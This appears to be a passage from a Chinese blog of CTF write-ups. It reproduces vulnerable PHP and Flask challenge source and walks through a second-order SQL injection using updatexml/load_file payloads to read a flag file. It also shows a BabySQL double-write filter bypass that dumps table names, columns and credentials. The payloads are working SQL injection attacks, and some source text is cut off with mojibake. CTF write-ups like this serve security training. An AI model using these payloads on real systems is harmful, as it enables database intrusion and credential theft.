ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单ä

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

分析代码,对username和phone进行了严格的过滤,但change.php中只是用了addslashes对address进行了转义,但是可以发现修改前的旧地址会被保存下来,在更新地址的时候,旧地址可以触发sql语句,存在二次注入

payload

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):#python的构造方法
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):#定义命令执行的函数
        result = {}
        result['code'] = 500
        if (self.checkSign()):#检查sign值是否等于hashlib.md5(secert_key + param + action).hexdigest()
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)#调用scan自定义函数读取flag.txt
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp#输出flag.txt
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:#检查action值中是否含read
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"#没有返回Action Error
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"#不等于返回Sign Error
        return result

    def checkSign(self):#校验函数
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#这个路由用来读取Sign的值
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])#最终注入点
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')#根目录路由,显示源码
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]#读取flag
    except:
        return "Connection Timeout"

def getSign(action, param):#返回值要等与sign
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):#没什么用的waf
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

[极客大挑战 2019]BabySQL

进入为一个登录框,输入单引号报错

image-20220421181231787

order by查看字段数,发现被过滤了一部分,判断使用str_replace进行了过滤,可进行双写进行绕过

image-20220421181400844

admin'oorrder bbyy 3--+最后判断为有三个字段

image-20220421182413933

接着进行爆库

image-20220421182515756

同样进行了过滤,我们依旧双写绕过

image-20220421184848920

可控字段为2,3,接下来爆库名,可以看到数据库为geek

image-20220421185122877

爆表名,得到两个表名,b4bsql,geekuser

?username=1'uunionnion selselectect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()--+

image-20220421193250032

接着爆字段

?username=1'uunionnion selselectect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+

image-20220421193625825

接着爆值,得到flag

?username=1'uunionnion selselectect 1,database(),group_concat(passwoorrd,0x7e,username) frfromom b4bsql%23

image-20220421204729364

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇